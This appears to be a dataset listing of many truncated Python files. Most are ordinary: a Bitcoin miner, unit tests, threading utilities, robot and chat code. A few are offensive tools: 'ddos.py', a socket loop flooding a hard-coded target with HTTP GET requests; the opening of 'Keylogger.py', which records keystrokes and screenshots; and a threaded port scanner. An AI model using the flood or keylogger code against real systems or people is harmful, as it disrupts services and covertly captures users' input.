source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
logger_tests.py | import unittest
import aws_sql_inspector.sql_inspector as si
import aws_sql_logger.robot_logger as rl
import threading
import time
inspector = si.SQLInspector()
query = None
def update_query(table_name):
global query
query = str(inspector.get_query(table_name,"1=1"))
class TestLogger(unittest.TestCase):
... |
prgmtest.py | import time
import os
import RPi.GPIO as GPIO
from adafruit_servokit import ServoKit
import math
from picamera import PiCamera
from AlphaBot2 import AlphaBot2
import threading
kit = ServoKit(channels=16)
Ab = AlphaBot2()
camera = PiCamera()
BUZ = 4
IR = 17 #Remote controller
DR = 16
DL = 19
PWM = 50
n = 0
TRIG = 22
... |
test_console_task.py | # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
import os
import threading
from io import BytesIO
from queue import Empty, Queue
from pants.task.console_task import ConsoleTask
from pants.testutil.task_test_base import TaskTestBase
c... |
test_profile.py | import sys
import time
from toolz import first
import threading
from distributed.compatibility import get_thread_identity
from distributed import metrics
from distributed.profile import (process, merge, create, call_stack,
identifier, watch)
def test_basic():
def test_g():
time.sleep(0.01)
d... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
tests.py | from __future__ import unicode_literals
from datetime import datetime
import threading
from django.core.exceptions import ObjectDoesNotExist, MultipleObjectsReturned
from django.db import connections, DEFAULT_DB_ALIAS
from django.db import DatabaseError
from django.db.models.fields import Field
from django.db.models.... |
performance_test2.py | from socket import *
import time
from threading import Thread
socket=socket(AF_INET,SOCK_STREAM)
socket.connect(('localhost',25000))
# req per sec, if we run perf1 while running this the gil by design periotize the cpu tasks
#and our prog here is just i/o because it send very short req of fib 1 which get calculted ... |
listb.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import tools
import time
import re
import db
import threading
class Source (object) :
def __init__ (self):
self.T = tools.Tools()
self.now = int(time.time() * 1000)
self.siteUrl = str('http://m.iptv807.com/')
def getSource (self) :
... |
sqs.py | import json
import logging
import threading
from multiprocessing import Queue
import boto3
from arnparse import arnparse
from .model import EventSourceHook
logging.getLogger('boto3').setLevel(logging.CRITICAL)
logging.getLogger('botocore').setLevel(logging.CRITICAL)
class SQSEventSource(EventSourceHook):
def _... |
background.py | #!/usr/bin/env python
# Copyright (c) 2020-2021 VMware, Inc. All Rights Reserved.
# SPDX-License-Identifier: BSD-2 License
# The full license information can be found in LICENSE.txt
# in the root directory of this project.
"""
Implements the background job mixin.
"""
import logging
import threading
log = logging.getL... |
2021-11-21-cmind-servercode.py | import threading, socket
class Room: #채팅방
def __init__(self):
self.clients = []#접속한 클라이언트를 담당하는 ChatClient 객체 저장
def addClient(self, c):#클라이언트 하나를 채팅방에 추가
self.clients.append(c)
def sendAllClients(self, msg):
for c in self.clients:
c.sendMsg(msg)
class ChatClient:#텔레 ... |
test_target_acquisition.py | import pytest
from modules.targetAcquisition.personDetection.detect import Detection
import cv2
import time
import multiprocessing as mp
from modules.targetAcquisition.tests.detect_test_worker import targetAcquisitionWorker, imageFaker, logger
img1 = cv2.imread('tests/testImages/frame0.jpg')
img2 = cv2.imread('tests/t... |
snippet.py | #https://gist.github.com/GuyCarver/4173534
from scene import *
import feedparser
from time import sleep
import random
import Queue
from threading import Thread, Event
fontsize = 25
coverw = fontsize #The width of the rectangle used to cover the end of the scroll area.
scrollspeed = 100 #Pixels per second to scroll.... |
presence.py | from __future__ import unicode_literals
from logging import disable
from threading import Thread
import time
class Presence:
def __init__(self):
self.plugin = None
self.discord = None
self.presence_cycle_id = 0
self.presence_thread = None
def configure_presence(self, plugin, ... |
neos-rcon-server.py | #!/bin/python3
import signal
import asyncio
import websockets
import ssl
import datetime
import sys
import pexpect
import re
import argparse
import functools
import logging
import threading, queue
cmd_q = queue.Queue()
resp_q = queue.Queue()
logging.basicConfig(level=logging.INFO)
def cleanWorldReply(focused_world... |
java_gateway_test.py | # -*- coding: UTF-8 -*-
"""
Created on Dec 10, 2009
@author: barthelemy
"""
from __future__ import unicode_literals, absolute_import
from collections import deque
from contextlib import contextmanager
from decimal import Decimal
import gc
import math
from multiprocessing import Process
import os
import sys
from socke... |
get_companies_addr_long_lati.py | import csv
import pandas as pd
from get_addr_longitude_latitude import get_addr_longitude_latitude
import threading
import time
import os
if not os.path.exists('./csv/全国工业园区企业简要信息_addr.csv'):
header = ['province', 'city', 'county', 'park', 'parkaddr', 'parkxy', 'parkx', 'parky', 'area', 'numcop', 'company',
... |
observer_pattern.py | #!/usr/bin/python
""" Contains classes for implementing Observer pattern """
from __future__ import annotations
from abc import ABC, abstractmethod
from collections import deque
# More info in deque here:
# https://docs.python.org/3/library/collections.html#collections.deque
from time import sleep
from typing import ... |
ultimate.py | # -*- coding: utf-8 -*-
import os
import sys
import threading
import time
from glob import glob
import config
sys.path.append(os.path.join(sys.path[0], "../../"))
import schedule # noqa: E402
from instabot import Bot, utils # noqa: E402
bot = Bot(
comments_file=config.COMMENTS_FILE,
blacklist_file=config... |
turntosoundsource.py | import qi
import argparse
import sys
import functools
import os
import threading
import time
import math
def rhMonitorThread (memory_service):
t = threading.currentThread()
print "Monitoring Sound Detection"
while getattr(t, "do_run", True):
sound_value = memory_service.getData("ALSoundLocalizati... |
web_server.py | from multiprocessing import Manager, Process
from flask import Flask, request, jsonify
from typing import List, Tuple
import requests
import sys
import json
from datetime import datetime
from common.identification import validate_signature, generate_ECDSA_keys
from miner import Miner
from blockchain_db import Blockc... |
test-maze.py |
#
# Copyright 2016-2017 Games Creators Club
#
# MIT License
#
import paho.mqtt.client as mqtt
import pygame, sys, threading, os, random
import pyros.agent as agent
pygame.init()
bigFont = pygame.font.SysFont("arial", 32)
frameclock = pygame.time.Clock()
screen = pygame.display.set_mode((600,600))
client = mqtt.Clie... |
test_content.py | from __future__ import print_function
import re
import sys
import json
import time
import urllib3
import argparse
import requests
import threading
import subprocess
from time import sleep
from datetime import datetime
import demisto_client.demisto_api
from slackclient import SlackClient
from Tests.mock_server import ... |
test.py | import socket
import threading
class ThreadedServer(object):
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.h... |
io_test_view.py | # External Dependencies
from threading import Thread
from pyzbar import pyzbar
from pyzbar.pyzbar import ZBarSymbol
import time
# Internal file class dependencies
from . import View
from seedsigner.helpers import B
class IOTestView(View):
def __init__(self) -> None:
View.__init__(self)
self.redra... |
process.py | import sys, os
import socket
import time
import threading
import logging
import Queue
import select
from mesos_pb2 import *
from messages_pb2 import *
logger = logging.getLogger(__name__)
def spawn(target, *args, **kw):
t = threading.Thread(target=target, name=target.__name__, args=args, kwargs=kw)
t.daemon ... |
test_gateway.py | import functools
import time
from threading import Thread
import numpy as np
import pytest
import requests
from jina.enums import CompressAlgo
from jina.executors.encoders import BaseEncoder
from jina.flow import Flow
from tests import random_docs
concurrency = 10
class DummyEncoder(BaseEncoder):
def encode(se... |
fn_api_runner.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
winSuperMem.py | #!/usr/bin/env python3
###############################################################################
## SuperMem for Windows Memory Analysis v1.0
## Written by James Lovato - CrowdStrike
## Copyright 2021 CrowdStrike, Inc.
###############################################################################
import threadi... |
process_handling.py | """
process_handling.py
This is a collection of utility functions that are useful for handling
processes. They include the tools necessary to determine which processes
are subprocesses of the current Joshua process by looking at the appropriate
environment variables.
"""
# This source file is part ... |
mz7030fa-boardsim.py | #!/usr/bin/env python
'''
This script is only intended to be used when there is no actual hardware board.
It mimic the behavior of mz7030fa hardware board, which generates constant
frame stream at 8fps/16fps/24fps speed.
'''
# Python 2/3 compatibility
from __future__ import print_function
import numpy as np
import c... |
dashboard.py | #!/usr/bin/python
# -*- coding:utf-8 -*-
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Copyright 2016 Everley #
# #
# Licensed under the Apache License,... |
import_thread.py | from collections import defaultdict
import threading
import traceback
import grpc
import ray
from ray import ray_constants
from ray import cloudpickle as pickle
import ray._private.profiling as profiling
import logging
logger = logging.getLogger(__name__)
class ImportThread:
"""A thread used to import exports ... |
vino_infer.py | from openvino.inference_engine import IENetwork, IEPlugin
import argparse
import collections
import os
from multiprocessing import Queue
import threading
import time
import cv2
import numpy as np
import torch
import tqdm
from PIL import Image
from torch.autograd import Variable
from models import TransformerNet
from ... |
__init__.py | import _thread as thread
import contextlib
import contextvars
import datetime
import errno
import functools
import inspect
import multiprocessing
import os
import re
import signal
import socket
import subprocess
import sys
import tempfile
import threading
from collections import OrderedDict, defaultdict, namedtuple
fro... |
core.py | """
The MIT License (MIT)
Copyright (c) 2015-2021 Rapptz
Copyright (c) 2021-present Pycord Development
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limit... |
api_test.py | from http.server import BaseHTTPRequestHandler, HTTPServer
import re
import socket
from threading import Thread
import unittest
import os
# Third-party imports...
from unittest.mock import MagicMock, Mock
from pywink.api import *
from pywink.api import WinkApiInterface
from pywink.devices.sensor import WinkSensor
fro... |
semaphore_spider.py | #! /Users/michael/anaconda3/bin/python
# @Date: 2018-08-18 19:14:05
# 控制信号量爬取
from bs4 import BeautifulSoup
import threading
import requests
import sys
import os
# 同时运行的请求页面的线程个数
POOL_SIZE = 10
# 同时运行的下载图片的线程个数
DOWNLOAD_SIZE = 3
SAVE_DIR = 'sema-images'
# 翻页上限
PAGE = 50
def download_images(url, semaphore_downloa... |
car_helpers.py | import os
from common.params import Params, put_nonblocking
from common.basedir import BASEDIR
from selfdrive.car.fingerprints import eliminate_incompatible_cars, all_known_cars
from selfdrive.car.vin import get_vin, VIN_UNKNOWN
from selfdrive.car.fw_versions import get_fw_versions, match_fw_to_car
from selfdrive.swagl... |
xla_device.py | # Copyright The PyTorch Lightning team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... |
SPPlot_standalone.py | #########################################
### ## ### ###### ### # ###
## ##### ## ## ##### ### #### ##### #####
### #### ### ##### ### #### ##### #####
#### ### ##### ##### ### #### ##### #####
# #### ##### ### ##### ##### #####
#########################################
#########################... |
main.py | # Requirements:
# pip install tk
# pip install pillow
from Tkinter import *
from PIL import Image
from PIL import ImageTk
import cv2, threading, os, time
from threading import Thread
from os import listdir
from os.path import isfile, join
### Function to set wich sprite must be drawn
def put_sprite(num):... |
sc_video.py | """
sc_video.py
This file includes functions to:
Initialise the camera
Initialise the output video
Image size is held in the smart_camera.cnf
"""
import sys
from os.path import expanduser
import time
import math
from multiprocessing import Process, Pipe
import cv2
import sc_config
class SmartCameraVideo:
... |
bcy_user_climber.py | # !/usr/bin/env python
# -*- coding:UTF-8 -*-
__author__ = '__Rebecca__'
__version__ = '0.0.2'
import sys
import os
import json
import time
import requests
import multiprocessing
from bcy_single_climber import bcy_single_climber
'''
链接:https://bcy.net/home/timeline/loaduserposts?since=0&grid_type=timeline&uid=3482... |
load.py | import json
import math
import os
import threading
from threading import Thread
import requests
import boto3
from jsonpointer import resolve_pointer as resolve
from src.common.logger import logger
from src.util.s3 import read_from_s3
EVENTS_ENDPOINT = os.getenv("EVENTS_ENDPOINT")
s3 = boto3.client("s3")
def Work... |
jd_OpenCard.py | #!/bin/env python3
# -*- coding: utf-8 -*
'''
项目名称: JD_OpenCard
Author: Curtin
功能:JD入会开卡领取京豆
CreateDate: 2021/5/4 下午1:47
UpdateTime: 2022/1/1
建议cron: 2 8,15 * * * python3 jd_OpenCard.py
new Env('开卡有礼');
'''
version = 'v1.3.1'
readmes = """
# JD入会领豆小程序
@Version: {}""".format(version)
################... |
test_rpc.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import
import os
import multiprocessing
import socket
import time
import ssl
import pytest
import thriftpy2
thriftpy2.install_import_hook()
from thriftpy2._compat import PY3 # noqa
from thriftpy2.rpc import make_server, client_context # noqa
from thriftpy2... |
_v5_proc_controls.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# COPYRIGHT (C) 2014-2020 Mitsuo KONDOU.
# This software is released under the MIT License.
# https://github.com/konsan1101
# Thank you for keeping the rules.
import sys
import os
import time
import datetime
import codecs
import glob
import queue
import threading
impor... |
server.py | """This file implements the server daemon.
Decorator:
class waitDecorator(object)
Classes:
class Server(Connection, Daemon)
"""
import logging
import signal
import socket
import ssl
import sys
import time
import threading
from datetime import datetime
from os import chdir
from os.path import join, expanduser... |
recipe-475216.py | from os.path import basename
from queue import Queue
from random import random
from sys import argv, exit
from threading import Thread
from time import sleep
# for creating widgets
class Widget:
pass
# for creating stacks
class Stack:
def __init__(self):
self.__stack = list()
def __len__(self):
... |
client.py | import queue
import requests
import threading
import sys
from urllib.parse import urlparse
custom = False
from .crawler import Crawler
from .crawler.web import UA
from .network import exceptions as netexcept
class Client:
"""Stores and controls the client's state."""
def __init__(self, server, custom, good_... |
robot_agent.py | import copy
import ctypes
import pickle as pickle
import sys
from threading import Thread
import time
from tkinter import TclError
import traceback
import xml.etree.ElementTree as xml
import matplotlib
try:
matplotlib.use("TkAgg")
except:
pass
import matplotlib.pyplot as plt
import numpy as np
from PIL import... |
1client.py | #!/usr/bin/env python3
import matplotlib
import socket
import os
import ast
import random as r
import time
import datetime as dt
import subprocess as sp
import paho.mqtt.client as mqtt
import matplotlib.pyplot as plt
from drawnow import *
import smtplib
import config
import pickle
import data_homo as homo
import data_h... |
monitoring_service.py | #
# Copyright 2020 Huawei Technologies Co., Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... |
simulate_keyboard.py | #coding=cp936
import win32gui,win32api,win32con
import time
import threading
def key():
interval = 0.3
while True:
time.sleep(interval )
win32api.keybd_event(65,0,0,0) #a键位码是86
win32api.keybd_event(65,0,win32con.KEYEVENTF_KEYUP,0)
t = threading.Thread(target=key)
t.start()
|
server.py | # Copyright (c) Microsoft Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... |
ThreadJoin.py | from threading import Thread
global exit_flag
exit_flag = False
def g():
i = 1
while not exit_flag:
i = (i + 1) % 100000000
if i % 100000 == 0: print("f making progress: {0}".format(i))
def f():
g()
def n():
t1 = Thread(target=f,name="F_thread")
t1.start()
t1.join()
def m():
... |
imageme.py | #!/usr/bin/python
"""
imageMe is a super simple image gallery server.
Run imageme.py from the top level of an image directory to generate gallery
index HTML and run a SimpleHTTPServer on the localhost.
Imported as a module, use imageme.serve_dir(your_path) to do the same for any
directory programmatically. When run a... |
run-tests.py | #!/usr/bin/env python
import cStringIO as StringIO
import glob
import imp
import optparse
import os
import posixpath
import shlex
import SimpleHTTPServer
import SocketServer
import socket
import string
import subprocess
import sys
import threading
import time
import urllib
TIMEOUT = 10 # Maximum duration of PhantomJ... |
witcherafl.py |
from queue import Queue, Empty
from threading import Thread
from .afl import AFL
import archr
import json
import os
import re
import subprocess
import shutil
import time
import stat
import glob
import logging
import urllib.request
#import ipdb
from ctypes import c_bool
from multiprocessing import Process, Value
l = ... |
publish_ghost.py | #!/usr/bin/env python
# This script loads a trajectory file and simulates the execution publishing a
# custom trajectory message that is converted in odometry by another node
import rospy
import crazyflie
import time
import uav_trajectory
from threading import Thread
from crazyflie_demo.msg import Trajectory
from t... |
proc.py | # -*- coding: utf-8 -*-
"""Interface for running Python functions as subprocess-mode commands.
Code for several helper methods in the `ProcProxy` class have been reproduced
without modification from `subprocess.py` in the Python 3.4.2 standard library.
The contents of `subprocess.py` (and, thus, the reproduced methods... |
hackchat.py | import json
import threading
import time
import websocket
class HackChat:
"""A library to connect to https://hack.chat.
<on_message> is <list> of callback functions to receive data from
https://hack.chat. Add your callback functions to this attribute.
e.g., on_message += [my_callback]
The callbac... |
test_oddball.py | # Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0
# For details: https://bitbucket.org/ned/coveragepy/src/default/NOTICE.txt
"""Oddball cases for testing coverage.py"""
import sys
from flaky import flaky
import pytest
import coverage
from coverage import env
from coverage.backward impo... |
rfc2217.py | #! python
#
# Python Serial Port Extension for Win32, Linux, BSD, Jython
# see __init__.py
#
# This module implements a RFC2217 compatible client. RF2217 descibes a
# protocol to access serial ports over TCP/IP and allows setting the baud rate,
# modem control lines etc.
#
# (C) 2001-2013 Chris Liechti <cliechti@gmx.ne... |
EmailClass.py | import requests
import threading
class Email():
def __init__(self):
self.provider = 'http://email_service:5000/email/'
def run(self):
requests.post(self.provider, json=self.data, headers=self.headers)
def send(self, data):
self.headers = {"Content-Type": "application/json",
... |
lifebox.py | import pygame
import sys
import random
import threading
import time
import os
from pyfirmata import ArduinoMega, util
import rtmidi # midi library. There's a lot of rtmidi pyhton implementations, this one is python-rtmidi
import lifebox_constants as constants
potData = [0] * 11
# potData[0] Vitality [Plants] A0
plan... |
ssgd_monitor.py | """Synchronous SGD
"""
# from __future__ import print_function
import os
import tensorflow as tf
import argparse
import time
import sys
import logging
import gzip
from StringIO import StringIO
import random
import numpy as np
from tensorflow.python.platform import gfile
from tensorflow.python.framework import ops
from... |
factory.py | """
RPyC connection factories: ease the creation of a connection for the common
cases)
"""
from __future__ import with_statement
import socket
from contextlib import closing
import threading
try:
from thread import interrupt_main
except ImportError:
try:
from _thread import interrupt_main
except Im... |
map_explorer.py | import curses, time, threading, sys
from village.world.structs import GameMap
from village.engine import *
from village.simulation import *
big = SimulationManager()
test = big.map_inst
x = dy = dx = 0
viewmode = 1
screen = curses.initscr()
curses.curs_set(0)
curses.noecho()
# Right Half Definition
RCOL = (int((cur... |
ddos.py | import threading
import socket
target = "192.168.254.49"
port = 80
fake_ip = "182.182.182.182"
already_connected = 0
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode("ascii"), (ta... |
onnxruntime_test_python.py | # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
# -*- coding: UTF-8 -*-
import unittest
import os
import numpy as np
import onnxruntime as onnxrt
import threading
from helper import get_name
class TestInferenceSession(unittest.TestCase):
def run_model(self, session_... |
multi_threaded_augmenter.py | # Copyright 2017 Division of Medical Image Computing, German Cancer Research Center (DKFZ)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#... |
bag_timeline.py | # Software License Agreement (BSD License)
#
# Copyright (c) 2012, Willow Garage, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above... |
test_conveyor.py | # -*- coding: utf-8 -*-
# Copyright 2021 CERN
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... |
agent.py | #!/usr/bin/env python
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "Li... |
main_window.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including witho... |
test_cpu_usage.py | #!/usr/bin/env python3
import time
import threading
import _thread
import signal
import sys
import cereal.messaging as messaging
import selfdrive.manager as manager
def cputime_total(ct):
return ct.cpuUser + ct.cpuSystem + ct.cpuChildrenUser + ct.cpuChildrenSystem
def print_cpu_usage(first_proc, last_proc):
pr... |
port_scanner.py | import socket
import time
import threading
from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()
target = socket.gethostname()
t_IP = socket.gethostbyname(target)
#print ('Starting scan on host: ', t_IP)
port_list=set()
q = Queue()
def portscan(port):
s = socket.socket(socket.AF_IN... |
Keylogger.py | #!/usr/bin/env python
# coding: utf-8
#This keylogger can do two things ("Keep record of all the keys pressed and can also take Screenshot of the Desktop after a certain interval of time")
#Import all these Libraries
from mss import mss #To take screenshots
from pynput.keyboard import Listener ... |
_test_multiprocessing.py | #
# Unit tests for the multiprocessing package
#
import unittest
import queue as pyqueue
import contextlib
import time
import io
import itertools
import sys
import os
import gc
import errno
import signal
import array
import socket
import random
import logging
import struct
import operator
import weakref
import test.su... |
commands.py | import sys
from wurstminebot import core
from datetime import datetime
import functools
import inspect
import json
import minecraft
from wurstminebot import nicksub
import os.path
import random
import re
import requests
import socket
import subprocess
import threading
from datetime import timedelta
from datetime impor... |
kernel_subprocess.py | from queue import Queue
from threading import Thread
import subprocess
class RealTimeSubprocess(subprocess.Popen):
"""
A subprocess that allows to read its stdout and stderr in real time
"""
def __init__(self, cmd, write_to_stdout, write_to_stderr):
"""
:param cmd: the command to exec... |
video_processor.py | import zmq
import numpy as np
from imutils.video import VideoStream
import os
import argparse
import db
import cv2
import dhash
from PIL import Image
import time
import datetime
import json
from objCountByTimer import ObjCountByTimer
from multiprocessing import Process
# load the COCO class labels our YOLO model was ... |
SFTPServer.py | # Copyright 2020 by Roman Khuramshin <mr.linqu@gmail.com>.
# All rights reserved.
# This file is part of the Intsa Term Client - X2Go terminal client for Windows,
# and is released under the "MIT License Agreement". Please see the LICENSE
# file that should have been included as part of this package.
import threading... |
communicator.py | from abc import ABCMeta
from abc import abstractmethod
import io
import json
import os
import pickle
import sys
import time
import threading
import traceback
import chainer
from chainer.training import extension
import chainermn
import six
import echainer_internal
from echainer import ticker
from echainer import _me... |
sqs-consume.py | #!/usr/bin/env python
'''
Usage:
sqs-consume --config <configfile> --source <source_name> [--verbose]
sqs-consume --version
'''
import sys
import time
import datetime
from multiprocessing import Process
import boto3
import docopt
from snap import snap, common
from sh import git
VERSION_NUM = '0.5.2'
def sh... |
mock_web_socket_server.py | import asyncio
from threading import Event, Thread
import websockets
import socket
import errno
import json
from urllib.parse import urlparse
def detect_available_port(starting_port: int) -> int:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
current_port: int = starting_port
while c... |
py.py | # Copyright 2012 James McCauley
#
# This file is part of POX.
#
# POX is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# POX is distri... |
test_wsgiref.py | from unittest import mock
from test import support
from test.support import socket_helper
from test.test_httpservers import NoLogRequestHandler
from unittest import TestCase
from wsgiref.util import setup_testing_defaults
from wsgiref.headers import Headers
from wsgiref.handlers import BaseHandler, BaseCGIHandle... |
test_llxmlrpc_peer.py | #!/usr/bin/env python
"""\
@file test_llxmlrpc_peer.py
@author Nat Goodspeed
@date 2008-10-09
@brief This script asynchronously runs the executable (with args) specified on
the command line, returning its result code. While that executable is
running, we provide dummy local services for use by C++ ... |
peak_pcan.py |
import can
from queue import Queue
import threading
from sys import exit
try:
from .PCAN_Basic.Include.PCANBasic import *
pcanbasic_library_found = True
except ImportError:
pcanbasic_library_found = False
class PeakPCANInterface:
"""
Implements support for the Peak-System PCAN-USB adapter
""... |
humming_web_app.py | #!/usr/bin/env python
import asyncio
from aiohttp import web, ClientSession
import logging
import random
from typing import Optional
import unittest.mock
from yarl import URL
from collections import namedtuple
import requests
from threading import Thread
import json
StockResponse = namedtuple("StockResponse", "method... |
PyTorchAug.py | from __future__ import print_function
from collections import OrderedDict
import threading
import PyTorch
import PyTorchLua
import PyTorchHelpers
nextObjectId = 1
luaClasses = {}
luaClassesReverse = {}
# this is so we can ctrl-c lua functions. we have to run them in a separate thread
# for this, so that the python ... |
pipe_client.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Automate Audacity via mod-script-pipe.
Pipe Client may be used as a command-line script to send commands to
Audacity via the mod-script-pipe interface, or loaded as a module.
Requires Python 2.7 or later. Python 3 strongly recommended.
======================
Command ... |
test_radius.py | # RADIUS tests
# Copyright (c) 2013-2016, Jouni Malinen <j@w1.fi>
#
# This software may be distributed under the terms of the BSD license.
# See README for more details.
from remotehost import remote_compatible
import binascii
import hashlib
import hmac
import logging
logger = logging.getLogger()
import os
import sele... |
test_v2_0_0_container.py | import multiprocessing
import queue
import random
import threading
import unittest
import requests
import time
from dateutil.parser import parse
from .fixtures import APITestCase
class ContainerTestCase(APITestCase):
def test_list(self):
r = requests.get(self.uri("/containers/json"), timeout=5)
... |
online_predictor.py | #!/usr/bin/env python
##
#
# Train a simple LSTM RNN to predict future
# positions based on current position and velocity.
#
#
##
import numpy as np
import tensorflow as tf
import rospy
from nav_msgs.msg import Odometry
from geometry_msgs.msg import PoseWithCovarianceStamped
import threading
import traceback
import ... |
msg.py | from pyexpat.errors import messages
from utlis.rank import setrank ,isrank ,remrank ,setsudos ,remsudos ,setsudo,IDrank,GPranks
from utlis.send import send_msg, BYusers, sendM,Glang,GetLink
from handlers.delete import delete
from utlis.tg import Bot, Ckuser
from handlers.ranks import ranks
from handlers.locks imp... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.